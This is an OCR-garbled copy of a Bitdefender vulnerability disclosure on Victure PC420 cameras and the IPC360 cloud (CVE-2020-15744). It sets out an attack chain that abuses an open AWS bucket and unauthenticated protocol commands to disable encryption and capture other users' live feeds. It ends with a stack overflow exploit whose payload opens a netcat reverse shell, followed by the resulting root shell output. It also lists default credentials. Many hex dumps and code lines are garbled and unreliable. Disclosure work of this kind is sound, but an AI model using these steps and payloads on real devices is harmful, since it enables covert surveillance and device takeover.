WHITEPAPER

Bitdefender
65.18-B
®
21.87-A
® ®
=
. Security

Cracking the Victure
PC360 Monitor

REMOTE CONTROL A@Iﬁ CLOUD M[?SCONFIGURATION

. COMBINED o
@

CVE-2020-15744

®©
73.27-B

® ®
www.bitdefender.com



Contents

[T LAVZ0 (o TSRO 3
Vulnerabilities at @ glanCe ..., 3
DISCIOSUIE TIMEBIINE. ...ttt e e e e e aeeeeeaeas 3
[1]1 AWS bucket missing accesS CONTIOL .........c.cvoveeuieeeeeeeceeeeeeeee e 5

[2] Binary protocol message format ............ccccucveiiiiiiccecccicceecee e 5

[2. 7] ACCOUNT OGN ... 5

[2.2] Get device iNformation COMMANT .......o.ov oot 7

[3] REMOtE CONTIOL Of CAMEIAS. .. ..ottt ettt ettt et e et e e eaen 8

[3.1] Deactivating @NCryPioN ........cooovvovoeeceeeeee e 8

[3.2] REQUEST IVE TEEA ... e e 9

[4] Stack-based buffer overflow in ONVIF SEIVICE ........ccocovviiiiiiiieeeeeeeeeeeeeeeee e, 11

X
- ] + +

https://t.me/learningnets



B

Foreword

Vulnerabilities at a glance

AWS bucket missing access control
Camera information disclosure
+ Remote control of cameras
Local stack-based buffer overflow leading to remote code execution
Hardcoded RTSP credentials

Disclosure Timeline

Nov 03, 2020: Bitdefender makes first contact attempt with vendor through the website contact form and asks for
PGP key

Nov 20, 2020: Bitdefender makes another contact attempt with vendor via email and asks for PGP key Nov 20,
2020. We receive a generic email from a customer support person

Nov 20, 2020: Bitdefender asks to be forwarded to security department

Dec 02, 2020: Bitdefender receives generic support email asking for order number

Dec 03, 2020: Bitdefender attempts one more time to submit vulnerability details

Aug 5, 2021: Given that we received no answer from the vendor, Bitdefender proceeds with vulnerability disclosure

https://t.me/learningnets 3
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Vulnerability Walkthrough

The cameras offer the option to store videos in the cloud either continuously or when movement is detected. To
upload a recording, the camera is given a set of AWS credentials. We have discovered that these credentials can be
used to not only access the camera’s own directory, but any directory or file stored in the bucket [1]. Although most of
the files are encrypted, the directory names contain the ID of the user who owns the camera. This ID can be used to
disclose other information about the owned devices and deactivate the encryption, as illustrated further.

An authenticated account can ask the server for information about the cameras owned by any user [2.2]. The request
requires only the ID of the targeted user, information that can be obtained from the AWS bucket directories. The
server will respond with the IDs of the owned cameras, their MAC addresses, serial numbers, names and ONVIF/RTSP
password. The camera IDs can later be used to issue remote commands through the IPC360 cloud service.

To remotely control a device, the commands are sent through the IPC 360 cloud service using a binary protocol [2].
An authenticated account uses the camera ID to send commands to a specific camera [3]. For some commands, the
server does not check if the camera is owned by the user who issued those commands. This lets an attacker act as
the owner of any device and send commands that could deactivate the stream encryption [3.1], or even obtain the
live video feed [3.2]. If the stream encryption is deactivated, the attacker can access the feed either through the cloud
service or through the AWS bucket, as the recordings will be uploaded unencrypted.

On the local network, the device has two services, RTSP and ONVIF, which are disabled by default but can be
enabled without authentication. After enabling them, the ONVIF service will be accessible. This service has a pre-
authentication stack-based overflow vulnerability [4] that an attacker can exploit to obtain code execution.

When activated, the ONVIF and RTSP services require authentication. The default credentials are admin:123456, but
those can be changed in the smartphone application. There is also a guest account with the same default password
that can access the RTSP livestream. The password for the guest user cannot be changed from the application.

https://t.me/learningnets
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[1] AWS bucket missing access control

:~# aws s3 1s s3://puwell-ca-bucketa?/

[2] Binary protocol message format

Most commands follow a similar format described below:

Message Header

—— Command value

—— Command header

— Message size

[cc_dd ee TT]©

1 08 00 o0

0o 00 OO0 OO |8

e3

12 69

2]

Hc 00 00 00| ........ N P

d9 52 81

[[cc c7 cd 3D

O0xCCDDEEFF — message header (hardcoded)

+ 0x01000000 — command value (little endian)

+ 0xE3126900 — command header (hardcoded)
+ 0x1C000000 — message size (little endian)

— UserId |— Camera Id

The command payload follows the first 16 bytes. The payload varies with the command but it usually contains the
user ID and the camera ID. Here, the payload starts with 4 null bytes followed by the user ID and camera ID.

[2.1] Account login
To send commands through the cloud, a prior communication channel must be established. To set up the channel, a
session token is required. The token is obtained by supplying the account credentials in the following exchange:

First, the email address of the account is sent through the 0x272e command

CC
e
6d
e
eoe
e

dd
2o
61
2o
2o
2o

EE
Be
69
Be
Be
o]c]

ff
e
6c
e
eoe
o]e]

2e 27 00 @O
70 61 72 61
2e 63 6T 6d
00 0D 00 e
80 B0 B0 B
21 oo
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The server will respond with a salt that is required to compute the login payload

cc dd ee ff 2e 27 00 00 e5 12 69 00 24 00 00 @O ..... SRR R R
BB BB BB PR Ya 66 6a 31 6e 33 45 34 36 6e 61 55 ....ZTfj1 n3E46naU
63 44 79 @O cDy.

The next message (0x2711) contains the email address along with a hash computed in the following way: hash =
MD5(MD5(passwd) + salt)

cc dd ee ff 11 27 GO B0 e3 12 69 GO 60 01 0 GO  ..... LT P
PE PO OO @ 7O 61 72 61 V2 61 64 75 6c 65 40 67 ....para radule@g
6d 61 69 6c 2e 63 6f 6d GO0 0O B0 GO B0 0B GO 0O mail.com ........
DO B0 GO0 0 08 00 G0 B0 00 0B 00 DO B0 B 08 BB ...l L.
DO B0 OO0 00 00 00 G0 B0 00 0P 00 DO B0 B0 08 BB ...l L. ...
PE B0 OO @@ 37 64 37 30 61 66 62 38 39 34 64 37 ....7d70 atbhso4ad7y
34 38 38 65 36 37 33 32 66 30 34 65 36 66 35 34 488e6732 fOde6T54
30 65 33 37 00 00 DO PO OO 0P B0 B0 00 0B 0O A8 BEET. 00 couooooe
DO B0 OO0 00 00 00 G0 B0 00 0P 00 DO B0 B0 08 BB ...l L. ...
DO B0 OO0 00 00 00 00 B0 00 0B 00 DO B0 B0 08 BB  ........ ...
0O B0 GO0 00 00 00 00 B0 00 0B 08 0O B0 B0 08 BB ... L eeeaas
DO B0 GO0 0 08 00 G0 B0 00 0B 00 DO B0 B 08 BB ...l L.
DO B0 OO0 00 00 00 G0 B0 00 0P 00 DO B0 B0 08 BB ...l L. ...
DO B0 OO0 00 00 00 00 B0 00 0B 00 DO B0 B0 08 BB  ........ ...
0O B0 GO0 00 00 00 00 B0 00 0B 08 0O B0 B0 08 BB ... L eeeaas
DO B0 GO0 0 08 00 G0 B0 00 0B 00 DO B0 B 08 BB ...l L.
DO B0 OO0 00 00 00 G0 B0 00 0P 00 DO B0 B0 08 BB ...l L. ...
DO B0 OO0 00 00 00 00 B0 00 0B 00 DO B0 B0 08 BB  ........ ...
0O B0 GO0 00 00 00 00 B0 00 0B 08 0O B0 B0 08 BB ... L eeeaas
DO B0 GO0 0 08 00 G0 B0 00 0B 00 DO B0 B 08 BB ...l L.
DO B0 OO0 00 00 00 G0 B0 00 0P 00 DO B0 B0 08 BB ...l L. ...
DO B0 OO0 00 00 00 00 B0 00 0B 00 DO B0 B0 08 BB  ........ ...

+ The server responds with a session token that will be used to establish further communication channels. The
response also contains the user ID, a timestamp, and a server that can be used to send commands to cameras

cc dd ee ff 11 27 00 08 e5 12 69 0O bO 00 00 B ..... SRTRERR I
B0 00 00 @0 8f d9 52 @1 34 ©9 c8 71 39 4a @0 0O  ...... R. 4..q9J..
8f d9 52 ©1 26 1a bd 5f ©0 00 00 00 5a 41 41 77 R.&.._ ....ZAAW

41 Af 63 79 6c 77 33 4f 71 47 79 65 6b 71 79 6b ADcylw30 gGyekqyk
4b 77 53 31 4b 5a 6T 34 36 68 63 4d 36 74 55 61 KwS1KZo4 6hcM6tUa
73 48 76 69 67 34 4a 6a 6e 34 57 79 68 2b 2b 4b sHvig4Jj] ndWyh++K
59 54 79 73 33 38 2f 4b 7a 64 31 6a 45 37 30 33 YTys38/K zdl1ljE703
45 41 3d 3d 00 0O 00 B 0O 0O PO G0 ©O0 0O 0O EO EA==.... souuusus
BB 00 00 B0 OB 0L PO BB 00 B 0L B B BB BB BB ..o e
0B 00 O B OB BP0 PO BE 00 B0 B0 PR B BB PR B ... e
BB 00 O B BB BP0 PO BE 00 BE 0L PR B BB BB B ... e

0x8FD95201 — user ID (little endian)
0x71C80934 — server IP (little endian)
0x394A0000 - server port (little endian)
0x261ABD5F — unix timestamp (little endian)

The server IP used is 52.8.101.180 on target port 19000 TCP. There are multiple servers that can be used for
authentication.
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[2.2] Get device information command
To obtain information about the devices owned by another user, the attacker needs a valid session token and the ID
of the targeted user. The server IP used is 52.8.101.180 on target port 19000 TCP.
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e
518!
79
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79
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e
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Ee
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58
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eo

t
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78
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76
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Do
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e
518!
e
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41
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Qe
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69
e
41
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78
T2
36
Be
e
518!

0x24270000 — command value (little endian)

0x83967902 — ID of the victim (little endian)
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The server will respond with information about the owned cameras:
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« 0xCCC7CD3B — camera ID

406A8E689ED3 — camera MAC address
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01111PW2A2E12E-G — camera serial number

Kitchen — camera name

123456 — camera RTSP/ONVIF password
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[3] Remote control of cameras

[3.1] Deactivating encryption
To send remote commands, first a communication channel is established using a valid session token and the
corresponding user ID. The server IP used is 54.251.154.127 on target port 19001 TCP.

cc dd ee ff e8 4e 00 @ e3 12 69 00 aB @0 0O B  ..... I R O
60 6P PO PO A1 00 01 @@ B8f d9 52 01 8f d9 52 B1  ........ L S L
00 B0 OO0 0O 36 1 9a 7f 5a 41 41 77 41 4f 63 79 6... ZAAWAOCY

6c 77 33 Af 71 47 79 65 6b 71 79 6b 4b 77 53 31 1w30qGye kqykKwS1
4b 5a 6T 34 36 68 63 4d 36 74 55 61 73 48 76 69 KZo46hcM 6tUasHvi
67 34 da 6a 6e 34 57 79 68 2b 2b 4b 59 54 79 73 g4JjndwWy h++KYTys
33 38 2f 4b 7a 64 31 6a 45 37 30 33 45 41 3d 3d 38/Kzdl]j E7O3EA==
BB 68 BB BO B6 BD BE B0 BO BE BB BE BO BB BB B8  ........ c.......
Do PP ©P ©OD OP OB DG DY ©OE DB DB BD B0 B0 BB BB  ........ c.i..uen.
B 06 0P B0 GO OD BDE BO OO GO BB BE BO BB BB B0 ...l s aaaa s
P8 66 BB BB BE BB BB BB L LL.....

0xE84E0000 — command value (little endian)
0x08FD95201 — user ID (little endian)

If the values are correct, the server will respond with a “client sign in success” message. A keep-alive message can be
sent to check if the channel works:

cc dd ee ff 01 00 00 @ e3 12 69 00 1c 60 60 B  ........ R I
P06 00 0 @O 8F d9 52 @1 ccc¥ ecd3b 0 LL.... (o ocoof

If the server responds, the CnetClientControl commands can be enabled. This class of commands allows us to start
the ONVIF service, which also disables streaming encryption:

pEREEEC4 cc dd ee ff 80 4F 90 00 e3 12 69 00 20 00 @O @B  ..... Doo oodbo ooc
peEEEED4 OO0 B0 08 @0 cc c¢7 cd 3b 8f d9 52 ©1 7d @0 @O 6@  ....... B oaldalrooc

+  0x804F0000 — command value (little endian)
+ 0xCCC7CD3B — camera ID (little endian)
+ 0x8FD95201 — user ID (little endian)

The CnetClientControl commands all have the same command value (0x4FB0), but they can also contain
subcommands. A subcommand follows a similar format, consisting of a subcommand value, the camera and users
IDs, and the payload.

https://t.me/learningnets
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The command to enable the ONVIF service:

CC
B
2b
Bo
B
618}
P
B
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P
B
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B
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0xB04F0000 — command value (little endian)

0xCCC7CD3B - camera ID (little endian)

0x8FD95201 — user ID (little endian)

0x0B770100 — subcommand value (little endian)
+ 0xCCC7CD3B - camera ID (little endian)

« 0x8FD95201 — user ID (little endian)
+ 0x01000000 — enable ONVIF (little endian / 0x0 to disable)

This will enable the ONVIF service and will disable the encryption.

[3.2] Request live feed
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With the encryption disabled, the stream can now be received by setting up a UDP communication channel by using

the 0x4EEB command:

cc dd ee ff eb 4e
0e 06 06 e 53 55
8f d9 52 @1 @@ BB
Bf ab O 80 35 Ba

e
el
518!
c9

Be
2e
518!
81

ed 12 69 00 3c 00 B0 A6
cc c7 cd 3b 29 00 00 GO
Bf ab @0 @@ 35 B9 66 bb
O 00 Q0 oo

0xEB4E0000 — command value (little endian)

+ 0xCCC7CD3B — camera ID (little endian)

« 0x8FD95201 — user ID (little endian)

+ 0x00000000 - client’s public IP (not verified by the server)

0x0OFA00000 / 0x350966B5 — local port/IP address (little endian / not verified by the server); the port will be used
by the server to send messages back to the client

0x0FA00000 / 0x350AC981 — port/IP address of the server that has a connection with the client (not verified by

the server)

https://t.me/learningnets
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The response will contain the IP address and the port of the server through which a stream can be set up:

cc dd ee ff ec 4e OG0 00 01 00 00 0@ 3c 00 B0 B ..... Moo ccooSooc
00 OO OO PO OO 00 03 0@ cc c7 cd 3b 29 @O B0 B  ........ R e
8f d9 52 ©1 93 87 26 a@ 4b cd 00 00 93 87 26 ad .oR...&8&. K.ovuas &.
4b cd ©0 00 36 f1 9a 7f 00 00 00 GO K...6...

0x938726A0 — server IP address
0x4BCD0000 — UDP port

To receive the live feed, the 0x9C43 command must be sent to the server located at IP/port received earlier
(147.135.38.160:19405 in this case) with the source port that was mentioned in the request (4000 in this case):

cc dd ee ff 42 9c 00 00 e3 12 69 00 20 00 0O 0O D! EXTONVR N (IR
B0 00 ©0 80 cc c7 cd 3b 8f d9 52 81 29 00 00 8O ....... 5 oolio oo

The server will acknowledge the message and start sending messages that contain the video stream at 0x30 offset.
The payload can be extracted and written to a file that can afterwards be converted to MP4 using ffmpeg.

Video stream message:

cc dd ee ff 45 9¢c 00 PO 6d 00 30 6d 00 04 60 OO cessEua. m.BM. ...
1b 5b 31 3b cc ¢7 cd 3b 29 00 60 B0 6O GO 61 60  .[1;...; Jee.....
PO G0 00 0B 00 0P @0 B0 00 0B 08 PO dO B3 B0 B  ........ L.
PO G0 00 01 06 fo 40 50 33 00 00 PO B0 @0 @0 P  ...... @r 3.......
B0 00 00 P1 00 10 0@ el 2b f3 52 1f e3 @3 GO GO  ........ o) = SR
B0 00 00 0O 00 PO 00 64 OO0 26 78 50 94 57 @@ 2d  ....... d .&xP.W.-
00 Pa Pa 00 OO0 OO GO G OO0 OO OO OO OO OO OO B  ..... .0 oiiiann
00 OO 00 00 00 B0 BB 80 OO0 OO OO P1 67 64 OB 28  ........ ....gd.(
ac 3b 50 3c 01 13 f2 c2 00 00 83 B0 B2 00 OO B3 2Al=cc00 cooooooc
00 29 08 OO0 00 0D ©1 68 ee 3c el 00 42 42 0O 84 N T h .<..BB..
84 84 4c 52 1b 93 ¢c5 7c 9f 93 f9 3f 27 c9 ef ed R I R T
c9 24 2c 22 42 90 9c¢c 9e Af af c9 fd 7e 4f af 27 5,"B... 0...~0."
26 a4 cb 0@ 0@ 0@ P1 65 bB 00 82 ff fe d4 a7 99 Mo oooac I
63 dd 2e fa be d1 f1 f2 bb b2 aB 55 89 45 a@ b9 Hooooooo 5o olllalEs ¢
ab 9a de 6c 79 Pa 4c la 85 09 19 c4 90 cd 85 ba R Y
f4 24 ec a8 ef 3d 11 c3 a6 27 b6 el c7 1c bl e7 B
60 63 86 cf be 8b bl 93 9c 69 64 b7 d2 a7 b7 eb “(Hosaooc 111 S
d4 41 ad de 39 6d 2f 40 86 Ba 68 5f b6 c3 75 68 AL.9mA@ . .h_. .uh
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[4] Stack-based buffer overflow in ONVIF service

The overflow occurs when the service parses the basic authorization header. After decoding the base64 payload, the
return address will be overwritten after 308 bytes.

Stack structure:

char acStack3l2 [260];
char *pcStack52;

char *local_30;

int local 2c:

Decoding the base64 payload while storing the result on the stack:

sVars = strlen( s + 1);
base64 decode( s + 1,sVar5,acStack3ll);

We will overwrite the return address with the address of a system gadget, which will execute a payload stored at 0x20
offset after the stack. System gadget address:

00613ded 20 00 a7 27 _addiu a3,sp,0x20
pO613ded 98 99 20 Oc jal system
00613ded 20 00 ad 27 _addiu param_1,sp,0x20

The request:

GET / HTTR/1.1

Host: 10.0.0.54

Authorization: Basic

¥R FhYWERYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWERYWEhYWEhYWEhYWEhYWEhYWFhY
WERYWEhYWE Y WEhYWEhYWE Y WEhYWE hYWEhYWEhYWEhyYWEhYWEhYWE hyYWEhYWE hYWEhYWEhYWEhYWFEhYWEhY

WEhYWEhYWEhYWEhYWEhYWE hYWEhYWE hYWEhYWEhYWEhyYWE hYWEhYWE hyYWEhYWE hYWEhYWE hYWEhYWFEhYWEhY

WEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWE hYWEhYWEhYWEhYWEhYWEhYWFhYWEhY

WERYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWFhYWHoPWEAYWFhY

WEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYWEhYTtuY y AxMCAwL J AUMSAONDOLIICILIHNOOZFh

Decoded payload:
“a” * 308 + \xe0\x3d\x61\x00 +‘a’'* 32+ nc 10.0.0.1 4445 -e sh;aa

0x00613DEO — gadget address

https://t.me/learningnets 11
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Result:

Listening on 0.0.0.0 4445
Connection received on 10.0.0.54 56918
ps

PID USER VSZ STAT COMMAND
root 1824 S {linuxrc} init
root B SW [kthreadd]
root SW [ksoftirqd/0]
root sW  [kworker/@:8]
root SW<  [kworker/0:@H]
root sW  [kworker/uz:0]
root SW  [rcu_preempt]
root SW  [rcu_bh]
root SW [rcu_sched]
root sW [watchdog/0]
root SWe<  [khelper]
root SW<  [writeback]
root SW<  [bioset]
root SWe<  [kblockd]
root SW  [khubd]
root RW [kworker/@:1]
root SWe [cfgBp211]
root SW< [rpciod]
root RW  [kswapde]
root SW  [fsnotify_mark]
root SWe< [nfsiod]
root SWe [crypto]
root sW  [kworker/@:2]
root sW [kworker/u2:1]
root SWe<  [deferwql
root RWe< [kworker/@:1H]
root S telnetd
root SWN [jffs2_gcd_mtd5]
root SW [irgq/37-isp-m@]
root sW [irg/38-isp-w02]
root S [RTW_CMD_THREAD]
root wpa_supplicant -B -Dwext -iwlan® -c/user/etc/wifi/wp
root Alloca
root [isp_fw_process]
root /bin/sh -c nc 10.0.0.1 4445 -e sh;aa4®
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The exploits were tested on:

PC420 with firmware version: General_PC420(P)_V3.17.82
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